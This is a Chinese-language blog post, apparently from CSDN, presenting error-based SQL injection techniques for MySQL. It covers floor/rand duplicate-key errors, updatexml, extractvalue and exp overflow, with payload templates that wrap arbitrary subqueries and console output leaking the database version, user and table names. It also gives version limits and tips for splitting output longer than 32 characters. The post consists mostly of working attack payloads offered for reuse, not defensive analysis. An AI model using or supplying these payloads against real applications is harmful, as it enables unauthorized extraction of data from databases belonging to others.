SQL注入-报错注入

1、Floor

利用:

mysql> select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a;
ERROR 1062 (23000): Duplicate entry '5.1.41-3ubuntu12.6-log1' for key 'group_key'

x和a是给起的别名。即将 floor(rand(0)*2)这一串表示为X。完整写法:select 1 from (select count(*),concat(version(),floor(rand(0)*2)) as x from information_schema.tables group by x) as a;
总结select 1 from (select count(*),concat((子查询),'~',floor(rand(0)*2)) as x from information_schema.tables group by x) as a;
错误回显:ERROR 1242 (21000): Subquery returns more than 1 row使用limit查看,一次
错误回显:ERROR 1241 (21000): Operand should contain 1 column(s)检查子查询返回的列是否为一个

2、updatexml

利用:

mysql> select 1 and updatexml(1,(concat('~',(select version()),'~')),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.1.41-3ubuntu12.6-log~'

总结:and updatexml(1,concat('~',(子查询),'~'),1);
MySQL>5.1.5
最大返回32,如果返回的字符超过32则要使用字符串截断函数分次查看
EG:

select 1 and updatexml(1,concat('~',substring((select table_name from information_schema.tables where table_schema='test'),1,1)),1);
ERROR 1105 (HY000): XPATH syntax error: '~t'

3、extractvalue

利用:

mysql> select 1 and (SELECT extractvalue(null, user()));
ERROR 1105 (HY000): XPATH syntax error: '@localhost'

总结:select 1 and extractvalue('任意',concat(0x7e,(子查询),0x7e));
最大32,如果超过32则使用字符串截断函数分次查看(和updatexml相同)
MySQL>5.1.5

4、exp

MySQL版本对它存在影响。我的MySQL在5.1以下失败,5.4成功

成功:

mysql> select exp(~(select*from(select user()) as x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
mysql>
mysql> select @@version;
+-----------+
| @@version |
+-----------+
| 5.5.47    |
+-----------+
1 row in set (0.00 sec)

失败:

mysql> select @@version;
+------------------------+
| @@version              |
+------------------------+
| 5.1.41-3ubuntu12.6-log |
+------------------------+
1 row in set (0.00 sec)

mysql>  select exp(~(select*from(select user()) as x));
+-----------------------------------------+
| exp(~(select*from(select user()) as x)) |
+-----------------------------------------+
|                                    NULL |
+-----------------------------------------+
1 row in set (0.00 sec)

利用:

mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

了解利用exp

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值